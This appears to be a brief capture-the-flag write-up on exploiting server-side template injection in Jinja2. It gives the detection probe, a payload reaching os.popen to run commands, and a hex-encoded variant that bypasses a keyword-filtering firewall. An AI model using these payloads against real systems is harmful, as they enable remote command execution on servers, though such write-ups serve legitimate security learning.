*more details in full writeup*
SSTI exploitation on jinja2. Found the vulnerability by inputting `{{ 2*2 }}`.
Target payload: `{{request.application.__globals__.__builtins__.__import__('os')['popen']('ls')['read']()}}`
But there is a WAF: > Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base
So I encode characters to get this final payload:```{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['read']()}}```